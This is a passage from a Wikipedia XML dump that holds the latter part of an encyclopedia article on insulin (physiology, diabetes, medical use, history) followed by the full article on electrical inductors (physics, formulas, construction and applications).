Mechanisms which restore satisfactory blood glucose levels after [[hypoglycemia]] must be quick and effective because of the immediate serious consequences of insufficient glucose. This is because, at least in the short term, it is far more dangerous to have too little glucose in the blood than too much. In healthy individuals these mechanisms are indeed generally efficient, and symptomatic hypoglycemia is generally only found in diabetics using insulin or other pharmacologic treatment. Such hypoglycemic episodes vary greatly between persons and from time to time, both in severity and swiftness of onset. In severe cases prompt medical assistance is essential, as damage (to brain and other tissues) and even death will result from sufficiently low blood glucose levels.

[[Image:Glucose-insulin-release.png|right|thumb|400px|Mechanism of glucose dependent insulin release]]
Beta cells in the islets of Langerhans are sensitive to variations in blood glucose levels through the following mechanism (see figure to the right):

* Glucose enters the [[beta cell]]s through the [[glucose transporter]] [[GLUT2]]
* Glucose goes into the [[glycolysis]] and the [[respiratory cycle]] where the high-energy [[adenosine triphosphate|ATP]] molecule is produced by oxidation
* Dependent on blood glucose levels and hence ATP levels, the ATP controlled [[potassium]] channels (K+) close and the cell membranes depolarise
* On [[depolarisation]], voltage controlled [[calcium]] channels (Ca2+) open and calcium flows into the cells
* An increased calcium level causes activation of [[phospholipase|phospholipase C]], which cleaves the membrane phospholipid [[phosphatidyl inositol 4,5-bisphosphate]] into [[inositol 1,4,5-triphosphate]] and [[diacylglycerol]].
*Inositol 4,5-biphosphate binds to receptor proteins in the membrane of [[endoplasmic reticulum]]. This further raises the cell concentration of calcium.
* Significantly increased amount of calcium in the cells causes release of previously synthesised insulin, which has been stored in [[secretion|secretory]] [[vesicle (biology)|vesicles]]
* The calcium level also regulates [[gene expression|expression]] of the insulin [[gene]] via the calcium responsive element binding protein ([[CREB]]).

This is the main mechanism for release of insulin and regulation of insulin synthesis. In addition some insulin synthesis and release takes place generally at food intake, not just glucose or [[carbohydrate]] intake, and the beta cells are also somewhat influenced by the [[autonomic nervous system]].

Substances that stimulate insulin release are also acetylcholine, released from vagus nerve endings ([[parasympathetic nervous system]]), [[cholecystokinin]], released by [[enteroendocrine cell]]s of [[Intestinal_mucosa#Your_digestive_system_and_how_it_works|intestinal mucosa]] and [[gastrointestinal inhibitory peptide]] (GIP). The first of these act similarly as glucose through phospholipase C, while the last one acts through the mechanism of [[adenylate cyclase]].

[[Sympathetic nervous system]] ([[Alpha2-adrenergic agonists|&amp;alpha;&lt;sub&gt;2&lt;/sub&gt; adrenergic agonists]]) inhibits the release of insulin.

When the glucose level comes down to the usual physiologic value, insulin release from the beta cells slows or stops. If blood glucose levels drop lower than this, especially to dangerously low levels, release of hyperglycemic hormones (most prominently glucagon from Islet alpha cells) forces release of glucose into the blood from cellular stores. The release of insulin is strongly inhibited by the [[stress hormone]] [[adrenalin]] (epinephrine).

==Signal transduction==
There are special transport channels in [[cell membrane]]s through which [[glucose]] from the blood can enter a cell. These channels are, indirectly, under insulin control in certain body cell types. A lack of circulating insulin will prevent glucose from entering those cells (eg, in untreated Type 1 diabetes).  However, more commonly there is a decrease in the sensitivity of cells to insulin (e.g. the reduced insulin sensitivity characteristic of Type 2 diabetes), resulting in decreased glucose absorption. In either case, there is 'cell starvation', weight loss, sometimes extreme. In a few cases, there is a defect in the release of insulin from the pancreas. Either way, the effect is the same: elevated blood glucose levels.

Activation of [[insulin receptor]]s leads to internal cellular mechanisms which directly affect glucose uptake by regulating the number and operation of protein molecules in the cell membrane which transport glucose into the cell.

Two types of tissues are most strongly influenced by insulin as far as the stimulation of glucose uptake is concerned: muscle cells ([[myocyte|myocytes]]) and fat cells ([[adipocyte|adipocytes]]). The former are important because of their central role in movement, breathing, circulation, etc, and the latter because they accumulate excess [[food energy]] against future needs. Together, they account for about 2/3 of all cells in a typical human body.

==The brain and hypoglycemia==
Though other cells can use other fuels for a while (most prominently fatty acids), [[neurons]] are dependent on glucose as a source of energy in the non-starving human. They do not require insulin to absorb glucose, unlike muscle and adipose tissue and they have very small internal stores of glycogen. Thus, a sufficiently low glucose level first and most dramatically manifests itself in impaired functioning of the [[central nervous system]] &amp;ndash; dizziness, speech problems, even loss of consciousness, are common. This phenomenon is known as [[hypoglycemia]] or, in cases producing unconsciousness, &quot;hypoglycemic coma&quot; (formerly termed &quot;insulin shock&quot; from the most common causative agent). Because endogenous causes of insulin excess (such as an [[insulinoma]]) are extremely rare naturally, the overwhelming majority of hypoglycemia cases are caused by human action (e.g. [[iatrogenic]], caused by human action, eg medicine), and are usually accidental. There have been a few cases reported of murder, attempted murder or suicide using insulin overdoses, but most insulin shock appears to be due to mismanagement of insulin (didn't eat as much as anticipated, or exercised more than expected), or a mistake (e.g. 200 units of insulin instead of 20). 

Causes of hypoglycemia are:
* Oral hypoglycemic agents (eg, any of the sulfonylureas, or similar drugs, which increase insulin release from beta cells in response to a particular blood glucose level).
* External insulin (usually injected subcutaneously).
* Ingestion of low-carbohydrate sugar substitutes (animal studies show these can trigger insulin release according to Discover magazine August 2005, p18).

== Diseases and syndromes caused by an insulin disturbance==
There are several conditions in which insulin disturbance is pathologic:
* [[Diabetes mellitus]] &amp;ndash; general term referring to all states characterized by hyperglycemia.
** [[Diabetes mellitus#Type 1|Type 1]] &amp;ndash; autoimmune-mediated destruction of insulin producing beta cells in the pancreas resulting in absolute insulin deficiency.
** [[Diabetes mellitus#Type 2|Type 2]] &amp;ndash; multifactoral syndrome with combined influence of genetic susceptibility and influence of environmental factors, the best known being [[obesity]], age, and physical inactivity, resulting in [[insulin resistance]] in cells requiring insulin for glucose absorption. This form of diabetes is strongly inherited.
** Other types of impaired glucose tolerance (see the diabetes article).
* [[Insulinoma]] or [[reactive hypoglycemia]].
* [[Metabolic syndrome]] &amp;ndash; precondition first called Metabolic Syndrome X by Gerald Reaven, sometimes called prediabetes.  The precondition is characterized by elevated blood pressure, dyslipidemia (disturbances in blood cholesterol forms and other blood lipids), and increased waist circumference in Western populations.  The basic underlying cause is insulin resistance, a dimished capacity of insulin response tissues (muscle, fat, liver) to respond to insulin.  Untreated, Metabolic Syndrome can lead to morbidities such as essential hypertension, obesity, Type 2 diabetes, and cardiovascular disease (CVD).

==Insulin as a medication==
===Principles===
Insulin is absolutely required for all animal (including human) life. The mechanism is almost identical in nematode worms (e.g. ''[[Caenorhabitis elegans|C. elegans]]''), fish, and in mammals. In humans, insulin deprivation due to the removal or destruction of the pancreas leads to death in days or at most weeks. Insulin must be administered to patients in whom there is a lack of the hormone for this, or any other, reason. Clinically, this is called [[diabetes mellitus#Type 1|diabetes mellitus type 1]].

The initial source of insulin was from [[cow|cows]], [[pig|pigs]] or [[fish]] pancreases.  Insulin from these sources are effective in humans as they are nearly identical to human insulin (two amino acid difference for bovine insulin, one amino acid difference for porcine). Insulin is a protein which has been very strongly conserved across evolutionary time. Differences in suitability of beef, pork, or fish insulin preparations for particular patients have been primarily the result of preparation purity and of allergic reactions to assorted non-insulin substances remaining in those preparations. Purity has improved more or less steadily since the 1920s,  but allergic reactions have continued.  Though production of insulin from animal pancreases was widespread for decades, there are very few patients today relying on this form of insulin.

Human insulin is now manufactured for widespread clinical use using [[genetic engineering]] techniques, which significantly reduces impurity reaction problems.  [[Eli Lilly and Company|Eli Lilly]] marketed the first such insulin, Humulin, in [[1982]].  Humulin was the first medication produced using modern genetic engineering techniques, in which actual human DNA is inserted into a host cell (''E. coli'' in this case).  The host cells are then allowed to grow and reproduce normally, and due to the inserted human DNA, they produce actual human insulin.

[[Genentech]] developed the technique Lilly used to produce Humulin. [[Novo Nordisk]] has also developed a genetically engineered insulin independently. Most insulins used clinically are produced this way, for it avoids the allergic reaction problem.

=== Modes of administration ===
Unlike many medicines, insulin cannot be taken orally. It is treated in the [[gastrointestinal tract]] precisely as any other protein; that is,  reduced to its amino acid components, whereupon all 'insulin activity' is lost. There are research efforts underway to develop methods of protecting insulin from the digestive tract so that it can be taken orally, but none has yet reached clinical use. Instead insulin is usually taken as [[subcutaneous]] [[injection]]s by single-use [[syringe]]s with [[hypodermic needle|needle]]s, or by repeated-use [[insulin pen]]s with needles.

There are several difficulties with the use of insulin as a clinical treatment for diabetes:
* Mode of administration.
* Selecting the 'right' dose and timing.
* Selecting an appropriate insulin preparation (typically on 'speed of onset and duration of action' grounds).
* Adjusting dosage and timing to fit food amounts and types.
* Adjusting dosage and timing to fit exercise undertaken.
* Adjusting dosage, type, and timing to fit other conditions as for instance the increased stress of illness.
* The dosage is non-physiologic in that a subcutaneous [[bolus]] dosage of only insulin is given instead of the pancreas releasing insulin and C-peptide gradually and directly into the [[portal vein]].
* It is simply a nuisance for patients to inject themselves once or several times a day.
* It may be dangerous in the case of mistake (most especially 'too much' insulin).

There have been several attempts to improve upon this mode of administering insulin as many people find injection awkward and painful. One alternative is jet injection (also sometimes used for some vaccinations) which has different insulin delivery peaks and durations as compared to needle injection of the same amount and type of insulin. Some diabetics find control possible with jet injectors, but not with hypodermic injection. There are also 'insulin pumps' of various types which are 'electrical injectors' attached to a semi-permanently implanted needle (ie, a catheter). Some who cannot achieve adequate glucose control by conventional injection (or sometimes jet injection) are able to with the appropriate pump. 

An [[insulin pump]] is a reasonable solution for some. However there are several major limitations - cost, the potential for hypoglycemic episodes, catheter problems, and, thus far, no approvable means of controlling insulin delivery in the field based on blood glucose levels. If too much insulin is delivered or the patient eats less than normal, there will be hypoglycemia. On the other hand, if too little insulin is delivered by the pump, there will be hyperglycemia. Both of these can lead to potentially life-threatening conditions. In addition, indwelling catheters pose the risk of infection and ulceration.  However, that risk can be minimized by keeping catheter sites clean. Thus far, insulin pumps require considerable care and effort to use correctly. However, some diabetics are able to keep their glucose in reasonable control only on a pump.

Researchers have produced a watch-like device that tests for blood glucose levels through the skin and administers corrective doses of insulin through [[pore]]s in the skin of the patient. Both electricity and ultrasound have been found to make the skin temporarily porous. The insulin administration aspect remains experimental at this writing. The blood glucose test aspect of such 'wrist appliances' is, at this writing, commercially available essentially as described.

Another 'improvement' would be to avoid periodic insulin administration entirely by installing a self-regulating insulin source. For instance, pancreatic, or beta cell, [[transplantation]]. Transplantation of an entire pancreas (as an individual [[organ (anatomy)|organ]]) is technically difficult, and is not common. Generally, it is performed in conjunction with [[liver]] or [[kidney]] transplant surgery. However, transplantation of only pancreatic beta cells is a possibility. It has been highly experimental (for which read 'prone to failure') for many years, but some researchers in [[Alberta, Canada]], have developed techniques which have produced a much higher success rate (about 90% in one group). Beta cell transplant may become practical, and common, in the near future.  Additionally, some researchers have explored the possibility of transplanting [[Genetic Engineering|genetically engineered]] non-beta cells to secrete insulin, as an alternative to beta cell transplantation.&lt;sup&gt;[http://endo.endojournals.org/cgi/content/abstract/145/8/3840]&lt;/sup&gt;  Clinically testable results are far from realization.  Several other non-transplant methods of automatic insulin delivery are being developed in the research labs as this is written. None is currently close to clinical approval.

[[Inhaled insulin]] is under active investigation as are several other insulin administration techniques. Currently the only inhalable insulin approved by the [[FDA]] {{ref|exubera}} for use is [[Exubera]].

=== Dosage and timing ===
The central problem for those requiring external insulin is picking the right dose of insulin and the right timing.
&lt;!-- It would be best to show this graphically. Eg, a graph of typical blood glucose levels and blood insulin levels in people without diabetes and in those with diabetes injecting themselves 1, 2, 3 or more times a day. --&gt;

Physiological regulation of blood glucose, as in the non-diabetic, would be best. Increased blood glucose levels after a meal is a stimulus for prompt release of insulin from the pancreas. The increased insulin level causes glucose absorption and storage, reducing glycogen to glucose conversion, reducing blood glucose levels, and so reducing insulin release. The result is that the blood glucose level rises somewhat after eating, and within an hour or so returns to the normal 'fasting' level.  Even the best diabetic treatment with human insulin, however administered, falls short of normal glucose control in the non-diabetic. 

Complicating matters is that the composition of the food eaten (see ''[[glycemic index]]'') affects intestinal absorption rates. Glucose from some foods is absorbed more (or less) rapidly than the same amount of glucose in other foods. And, fats and proteins both cause delays in absorption of glucose from carbohydrate eaten at the same time. As well, exercise reduces the need for insulin even when all other factors remain the same, since working muscle has some ability to take up glucose without the help of insulin. 

It is in principle impossible to know for certain how much insulin (and which type) is needed to 'cover' a particular meal in order to achieve a reasonable blood glucose level within an hour or two after eating. Non-diabetics' beta cells routinely and automatically manage this by continual glucose level monitoring and adjustment of insulin release. All such decisions by a diabetic must be based on general experience and training (ie, at the direction of a physician or PA, or in some places a specialist diabetic educator) and, further, specifically based on the individual experience of the patient. It is not straightforward and should never be done by habit or routine, but with care can be done quite successfully in practice.

For example, some diabetics require more insulin after drinking [[skim milk]] than they do after taking an equivalent amount of fat, protein, carbohydrate, and fluid in some other form. Their particular reaction to skimmed milk is different than other diabetics', but the same amount of whole milk is likely to cause a still different reaction even in that same person. Whole milk contains considerable fat while skimmed milk has much less. It is a continual balancing act for all diabetics, especially for those taking insulin.

Insulin dependant diabetics require a base level of insulin (Basal Insulin), as well as extra short acting insulin to cope with meals (Bolus Insulin).  Maintaining the basal rate and the bolus rate is a continuous balancing act that all insulin diabetics have to manage each day.  This is normally achieved through regular blood tests, although there is work being undertaken on continuous blood sugar testing equipment.

It is important to notice that diabetics generally need more insulin than the usual -not less- during physical stress like infections or surgeries.

===Types===
Medical preparations of insulin (from the major suppliers &amp;ndash; [[Eli Lilly and Company|Eli Lilly]] and [[Novo Nordisk]] -- or from any other) are never just 'insulin in water'. Clinical insulins are specially prepared mixtures of insulin plus other substances. These delay absorption of the insulin, adjust the pH of the solution to reduce reactions at the injection site, and so on. Some recent insulins are not even precisely insulin, but so called [[insulin analog]]s. The insulin molecule in an insulin analog is slightly modified so that they are:
 
* Absorbed rapidly enough to mimic real beta cell insulin (Lilly's is 'lispro', Novo Nordisk's is 'aspart').
* Steadily absorbed after injection instead of having a 'peak' followed by a more or less rapid decline in insulin action ([[Novo Nordisk]] version is 'Insulin detemir' and [[Aventis]]' version is 'Insulin glargine').
* All while retaining insulin action in the human body.

The management of choosing insulin type and dosage / timing should be done by an experienced medical professional working with the diabetic.

Allowing blood glucose levels to rise, though not to levels which cause acute hyperglycemic symptoms, is not a sensible choice. Several large, well designed, [[clinical trial|long term studies]] have conclusively shown that diabetic complications decrease markedly, linearly, and consistently as blood glucose levels approach 'normal' patterns over long periods. In short, if a diabetic closely controls blood glucose levels (ie, on average, both over days and weeks, and avoiding too high peaks after meals) the rate of diabetic complications goes down. If glucose levels are very closely controlled, that rate can even approach 'normal'. The chronic diabetic complications include [[cerebrovascular accident]]s (CVA or stroke), heart attack, blindness (from proliferative diabetic [[retinopathy]]), toehr vascular damage, nerve damage from [[diabetic neuropathy]], or kidney failure from [[diabetic nephropathy]]. These studies have demonstrated ''beyond doubt'' that, if it is possible for a patient, so-called [[intensive insulinotherapy]] is superior to [[conventional insulinotherapy]]. However, close control of blood glucose levels (as in intensive insulinotherapy) does require care and considerable effort, for [[hypoglycemia]] is dangerous and can be fatal.

A good measure of long term diabetic control (over approximately 90 days in most people) is the serum level of [[glycosylated hemoglobin]] ([[HbA1c]]). A shorter term integrated measure (over two weeks or so) is the so-called 'fructosamine' level, which is a measure of similarly glyclosylated proteins (chiefly albumin) with a shorter half life in the blood. There is a commercial meter available which measures this level in the field.

===Abuse===
There are reports that some patients abuse insulin by injecting larger doses that lead to mild hypoglycemic states. This is extremely dangerous. Severe acute or prolonged hypoglycemia can result in brain damage or death.

On [[July 23]], [[2004]], news reports claim that a former spouse of a prominent international track athlete said that, among other drugs, the ex-spouse had used insulin as a way of 'energizing' the body. The intended implication would seem to be that insulin has effects similar to those alleged for some [[steroid]]s. This is not so; eighty years of insulin use has given no reason to believe it to be in any respect a performance enhancer for non diabetics. Improperly treated diabetics are, to be sure, more prone than others to exhaustion and tiredness, and in some of these cases, proper administration of insulin can relieve such symptoms. However, insulin is not, chemically or clinically, a steroid, and its use in non diabetics is dangerous and always an abuse outside of a well-equipped medical facility. However, while not strictly performance increasing, its ability to shuttle nutrients into the cells is a sought after effect from athletes trying to increase muscle mass.

However, when properly administered, insulin can restore body metabolism to something sufficiently close to normal to allow athletes to return to their former performance levels. Examples include [[Bill Talbert]], the best male tennis player in the world for an extended time, [[Gary Hall Jr.]] the Olympic champion swimmer, [[Bobby Clarke]], an NHL Hall of Famer, at least one young professional Tour golfer, etc. Performance in other fields can also be maintained. Examples include [[Jerry Garcia]] of the [[Grateful Dead]], and [[David Crosby]], of [[Crosby, Stills &amp; Nash]].

==Timeline==
*1922 Banting and Best use bovine insulin extract on human
*1923 [[Eli Lilly and Company|Eli Lilly]] produces commercial quantities of bovine insulin
*1923 Hagedorn founds the Nordisk Insulinlaboratorium in Denmark forrunner of [[Novo Nordisk]]
*1926 [[Nordisk]] receives Danish charter to produce insulin as a non profit
*1936 Canadians D.M. Scott and A.M. Fisher formulate zinc insulin mixture and license to [[Novo]]
*1936 Hagedorn discovers that adding protamine to insulin prolongs the effect of insulin
*1946 Nordisk formulates Isophane® porcine insulin aka Neutral Protamine Hagedorn or [[NPH insulin]]
*1946 [[Nordisk]] crystallizes a protamine and insulin mixture
*1950 [[Nordisk]] markets [[NPH insulin]]
*1953 [[Novo]] formulates Lente® porcine and bovine insulins by adding zinc for longer lasting insulin
*1973 Purified monocomponent (MC) insulin is introduced
*1978 [[Genentech]] produces human insulin in ''Escheria coli'' bacteria using recombinant DNA 
*1981 [[Novo Nordisk]] chemically and enzymatically converts bovine to human insulin
*1982 [[Genentech]] human insulin approved
*1983 [[Eli Lilly and Company|Eli Lilly]] produces recombinant human insulin, Humulin®
*1985 Axel Ullrich sequences the human insulin receptor
*1988 [[Novo Nordisk]] produces recombinant human insulin
*1996 [[Eli Lilly and Company|Lilly]] Humalog® &quot;lyspro&quot; insulin analogue approved
*2004 [[Aventis]] [[Lantus]]® &quot;glargine&quot; insulin analogue approved
*2006 [[Novo Nordisk]] &quot;detemir&quot; up for approval in USA, being researched in Nunnery Wood High, Worcester, England

==See also==
* Anatomy and physiolologye
** [[Glucagon]]
** [[Pancreas]]
** [[Islets of Langerhans]]
** [[Endocrinology]]
* Forms of diabetes mellitus
** [[Diabetes mellitus]]
** [[Diabetes mellitus type 1]]
** [[Diabetes mellitus type 2]]
* Treatment
** [[Diabetic coma]]
** [[Intensive insulinotherapy]]
** [[Insulin pump]]
** [[Conventional insulinotherapy]]

== References ==
* Gerald M Reaven, Ami Laws, ''Insulin Resistance: The Metabolic Syndrome X'', ISBN 0896035883
* Jack L Leahy, William T Cefalu, ''Insulin Therapy'', ISBN 0824707117
* Sudhesh Kumar, Stephen O'Rahilly, ''Insulin Resistance: Insulin Action and Its Disturbances in Disease'', ISBN 0470850086
* Ann Ehrlich, Carol L Schroeder, ''Medical Terminology for Health Professions'', ISBN 0766812979
* Draznin, ''Molecular Biology of Diabetes: Autoimmunity and Genetics; Insulin Synthesis and Secretion'', ISBN 0896032868
* {{note|exubera}} FDA approval of ''Exubera'' inhaled insulin http://www.fda.gov/bbs/topics/news/2006/NEW01304.html
== External links ==
*[http://nist.rcsb.org/pdb/molecules/pdb14_1.html Insulin: entry from protein databank]
*[http://www.med.uni-giessen.de/itr/history/inshist.html The History of Insulin]
*[http://www.rxlist.com/cgi/generic/insulinlispro.htm Insulin Lispro]
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[[Category:Peptide hormones]]
[[Category:Pancreatic hormones]]
[[Category:Diabetes]]

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[[bg:Инсулин]]
[[ca:Insulina]]
[[cs:Inzulín]]
[[da:Insulin]]
[[de:Insulin]]
[[es:Insulina]]
[[fr:Insuline]]
[[id:Insulin]]
[[it:Insulina]]
[[he:אינסולין]]
[[lt:Insulinas]]
[[ms:Insulin]]
[[nl:Insuline]]
[[ja:インシュリン]]
[[no:Insulin]]
[[nn:Insulin]]
[[pl:Insulina]]
[[pt:Insulina]]
[[ru:Инсулин]]
[[sk:Inzulín]]
[[sl:Inzulin]]
[[fi:Insuliini]]
[[sv:Insulin]]
[[tr:İnsülin]]
[[zh:胰岛素]]</text>
    </revision>
  </page>
  <page>
    <title>Inductor</title>
    <id>14896</id>
    <revision>
      <id>42038131</id>
      <timestamp>2006-03-03T10:51:56Z</timestamp>
      <contributor>
        <username>Rtdrury</username>
        <id>172514</id>
      </contributor>
      <minor />
      <comment>/* Formulae */</comment>
      <text xml:space="preserve">An '''inductor''' is a [[passive]] electrical device employed in [[Electrical network|electrical circuits]] for its property of [[inductance]]. An inductor can take many forms. 

[[Image:Inductors-photo.JPG|thumb|right|370px|Inductors]]
==Physics==

=== Overview ===

Inductance (measured in [[Henry (inductance)|henrys]]) is an effect which results from the [[magnetic field]] that forms around a current carrying [[Conductor (material)|conductor]]. [[Current (electricity)|Electrical current]] flowing through the inductor creates a magnetic field which has an associated electromotive field which opposes the applied voltage. This counter [[electromotive force]] (emf) is generated which opposes the change in voltage applied to the inductor and current in the inductor resists the change but does rise. This is known as inductive reactance. It is opposite in phase to capacitive reactance. Inductance can be increased by looping the conductor into a coil which creates a larger magnetic field.

=== Stored energy ===

The [[energy]] (measured in [[joule]]s, in [[SI]]) stored by an inductor is equal to the amount of work required to establish the current flowing through the inductor, and therefore the magnetic field.  This is given by:

:&lt;math&gt; E_\mathrm{stored} = {1 \over 2} L I^2 &lt;/math&gt;

where ''L'' is inductance and ''I'' is the current flowing through the inductor.

===Hydraulic model===
As electrical current can be modeled by fluid flow, much like water through pipes; the inductor can be modeled by the flywheel effect of a turbine rotated by the flow. As can be demonstrated intuitively and mathematically, this mimics the behavior of an electrical inductor; current is the integral of voltage, in cases of a sudden interruption of flow it will generate a high pressure across the blockage, etc. Magnetic interactions such as transformers, however, are not modeled.

== In electric circuits ==

While a capacitor resists changes in voltage, an inductor resists changes in current. An ideal inductor would offer no resistance to [[direct current]], however, all real-world inductors have non-zero [[electrical resistance]].

In general, the relationship between the time-varying voltage ''v''(''t'') across an inductor with inductance ''L'' and the time-varying current ''i''(''t'') passing through it is described by the [[differential equation]]:

:&lt;math&gt;v(t) = L \frac{di(t)}{dt}&lt;/math&gt;

When a sinusoidal [[alternating current]] (AC) flows through an inductor, a sinusoidal alternating voltage (or [[electromotive force]] (emf) ) is induced. The amplitude of the emf is equal to the amplitude of the current and to the frequency of the sinusoid by the following equation. The [[Phase (waves)|phase]] of the current lags that of the voltage by 90 degrees. In a capacitor the current leads voltage by 90 degrees. When the inductor is combined with a capacitor, in series or parallel, an [[LC circuit]] is formed with a specific resonant frequency:

:&lt;math&gt;V = I \times \omega L\,&lt;/math&gt;

where &amp;omega; is the ''[[angular frequency]]'' of the sinusoid defined in terms of the frequency ''F'' as:

:&lt;math&gt;\omega = 2 \pi F\,&lt;/math&gt;

Inductive reactance, Xl, is defined as:

:&lt;math&gt; X_L = \omega L = 2 \pi F L\, &lt;/math&gt;

where ''X&lt;sub&gt;L&lt;/sub&gt;'' is the [[inductive reactance]], &amp;omega; is the [[angular frequency]], ''F'' is the frequency in [[hertz]], and ''L'' is the [[inductance]] in henries.

Inductive reactance is the positive component of [[impedance]]. It is measured in ohms. The impedance of an inductor (inductive reactance) is then given by:

:&lt;math&gt; Z = j \omega L = j 2 \pi F L = j X_L\, &lt;/math&gt;

where ''X&lt;sub&gt;L&lt;/sub&gt;'' is in ohms.

When using the [[Laplace transform]] in circuit analysis, the inductive impedance is represented in the ''s'' domain by:

:&lt;math&gt;Z(s) = s L\, &lt;/math&gt;

In an ideal inductor, the current lags behind the voltage by 90° or π/2 radians, but since physical inductors are made from wire that has resistance, a combination resistive-inductive circuit results causing the Q of the tank to be lower.

=== Inductor networks ===
{{main|Series and parallel circuits}}

Inductors in a [[Series and parallel circuits|parallel]] configuration each have the same potential difference (voltage).  To find their total equivalent inductance (''L''&lt;sub&gt;eq&lt;/sub&gt;):

:[[image:inductorsparallel.png|A diagram of several inductors, side by side, both leads of each connected to the same wires]]

:&lt;math&gt; \frac{1}{L_\mathrm{eq}} = \frac{1}{L_1} + \frac{1}{L_2} + \cdots +  \frac{1}{L_n}&lt;/math&gt;

The current through inductors in [[Series and parallel circuits|series]] stays the same, but the voltage across each inductor can be different.  The sum of the potential differences (voltage) is equal to the total voltage.  To find their total inductance:

:[[image:inductorsseries.png|A diagram of several inductors, connected end to end, with the same amount of current going through each]]

:&lt;math&gt; L_\mathrm{eq} = L_1  + L_2 + \cdots + L_n \,\! &lt;/math&gt;

These relationships hold true only in the limit that they are in magnetically decoupled environments.

== ''Q'' Factor ==
There has not been an ideal inductor created to-date, the nearest approximation being a supercooled inductor (for example, one cooled with liquid nitrogen or a similar supercooled substance). In the real world inductors have a series resistance created by the copper or other electrically conductive metal wire forming the coils. This series resistance converts the electrical current flowing through the coils into heat, thus causing a loss of inductive quality.
This is where the quality factor is born. The quality factor is a ratio of the inductance to the resistance. 

The [[Q factor|quality factor]] of an inductor can be found through this formula, where ''R'' is its internal [[electrical resistance]]:

:&lt;math&gt;Q = \frac{\omega{}L}{R}&lt;/math&gt;

==Formulae==

1. Basic inductance formula:
&lt;math&gt;L=\frac{\mu_0\mu_rN^2A}{l}&lt;/math&gt;&lt;br&gt;
:''L'' = Inductance in [[Henry (inductance)|henries]]&lt;br&gt;
:''&amp;mu;&lt;sub&gt;0&lt;/sub&gt;'' = [[permeability]] of [[vacuum|free space]] = 4π × 10&lt;sup&gt;-7&lt;/sup&gt; H/m&lt;br&gt;
:''&amp;mu;&lt;sub&gt;r&lt;/sub&gt;'' = relative permeability of core material&lt;br&gt;
:''N'' = number of turns&lt;br&gt;
:''A'' = area of cross-section of the coil in [[square metre]]s (m&lt;sup&gt;2&lt;/sup&gt;)&lt;br&gt;
:''l'' = length of coil in [[metre]]s (m)&lt;br&gt;


(note: the following formulas were optimized to be used with [[imperial unit]]s)
&lt;!-- where are the SI formulas? :| --&gt;

2. Inductance of a straight wire conductor:
&lt;math&gt;L = 5.08 \cdot l\left(\ln\frac{4l}{d}-1\right)&lt;/math&gt;&lt;br&gt;
:''L'' = inductance in nH&lt;br&gt;
:''l'' = length of conductor in inches&lt;br&gt;
:''d'' = diameter of conductor in inches&lt;br&gt;

3. Inductance of air core inductor in terms of geometric parameters:
&lt;math&gt;L=\frac{r^2N^2}{9r+10l}&lt;/math&gt;&lt;br&gt;
:''L'' = inductance in &amp;mu;H&lt;br&gt;
:''r'' = outer radius of coil in inches&lt;br&gt;
:''l'' = length of coil in inches&lt;br&gt;
:''N'' = number of turns&lt;br&gt;

4. For multilayered air core coil:
&lt;math&gt;L = \frac{0.8r^2N^2}{6r+9l+10d}&lt;/math&gt;&lt;br&gt;
:''L'' = inductance in &amp;mu;H&lt;br&gt;
:''r'' = mean radius of coil in inches&lt;br&gt;
:''l'' = length of coil in inches&lt;br&gt;
:''N'' = number of turns&lt;br&gt;
:''d'' = depth of coil in inches&lt;br&gt;

5. Inductance of a spring coil:
&lt;math&gt;L=\frac{r^2N^2}{6r+11d}&lt;/math&gt;
:''L'' = inductance in &amp;mu;H&lt;br&gt;
:''r'' = mean radius of coil in inches&lt;br&gt;
:''N'' = number of turns&lt;br&gt;
:''d'' = depth of coil in inches&lt;br&gt;

== Inductor construction ==

An inductor is usually constructed as a [[coil]] of [[Conductor (material)|conducting]] material, typically copper wire, wrapped around a [[magnetic core|core]] either of air or of ferrous material. Core materials with a higher [[Permeability (electromagnetism)|permeability]] than air confine the magnetic field closely to the inductor, thereby increasing the inductance. Inductors come in many shapes. Most are constructed as enamel coated wire wrapped around a ferrite [[bobbin]] with wire exposed on the outside, while some enclose the wire completely in ferrite and are called &quot;shielded&quot;. Some inductors have an adjustable core, which enables changing of the inductance. Small inductors can be etched directly onto a [[printed circuit board]] by laying out the trace in a [[spiral]] pattern. Small value inductors can also be built on [[integrated circuit]]s using the same processes that are used to make [[transistors]]. In these cases, aluminum [[interconnect]] is typically used as the conducting material. However, practical constraints make it far more common to use a circuit called a &quot;[[gyrator]]&quot; which uses a [[capacitor]] and active components to behave similarly to an inductor.
Inductors used to block very high frequencies are sometimes made with a wire passing through a [[ferrite]] cylinder or bead.

== Applications ==

Inductors are used extensively in [[analog circuit]]s and signal processing.  Inductors in conjunction with [[capacitor]]s and other components form tuned circuits which can emphasize or [[electronic filter|filter]] out specific signal frequencies. This can range from the use of large inductors as '''chokes''' in power supplies, now obsolete, which in conjunction with filter [[capacitor]]s remove residual [[hum]] or other fluctuations from the direct current output, to such small inductances as generated by a [[ferrite]] bead or [[torus]] around a cable to prevent [[radio frequency interference]] from being transmitted down the wire. Smaller inductor/capacitor combinations provide [[tuned circuit]]s used in radio reception and broadcasting, for instance.

Two (or more) inductors which have coupled magnetic flux form a [[transformer]], which is a fundamental component of every electric [[Public utility|utility]] power grid. The efficiency of a transformer increases as the frequency increases; for this reason, aircraft used 400 hertz alternating current rather than the usual 50 or 60 hertz, allowing a great savings in weight from the use of smaller transformers.

An inductor is used as the energy storage device in a [[switched-mode power supply]]. The inductor is energized for a specific fraction of the regulator's switching frequency, and de-energized for the remainder of the cycle. This energy transfer ratio determines the input-voltage to output-voltage ratio. This ''X''&lt;sub&gt;L&lt;/sub&gt; is used in complement with an active semiconductor device to maintain very accurate voltage control.

Inductors are also employed in electrical transmission systems, where they are used to intentionally depress system voltages or limit [[fault current]]. In this field, they are more commonly referred to as reactors.

As inductors tend to be larger and heavier than other components, their use has been reduced in modern equipment; solid state switching power supplies eliminate large transformers, for instance, and circuits are designed to use only small inductors, if any; larger values are simulated by use of [[gyrator]] circuits.

== See also ==
* [[Capacitor]]
* [[Resistor]]
* [[Electricity]]
* [[Electronics]]
* [[Gyrator]]
* [[Inductance]] (including ''mutual inductance'')
* [[induction coil]]
* [[Induction loop]]
* [[Saturable reactor]]
* [[Transformer]]

== Synonyms ==
&lt;!-- Are some of these circular Wikilinks? Should they become hard-redirects back to here? --&gt;
* [[coil]]
* [[choke]]
* [[reactor]]

==External links==
;General
*[http://www.mpdigest.com/Articles/2005/aug2005/agilent/Default.htm Spiral inductor models].  Good article on inductor characteristics and modeling.
* [http://www.phys.unsw.edu.au/~jw/AC.html AC circuits]
* [http://www.theinductor.com The Inductor] Example of commercial use of inductors to create &quot;flameless&quot; heat.
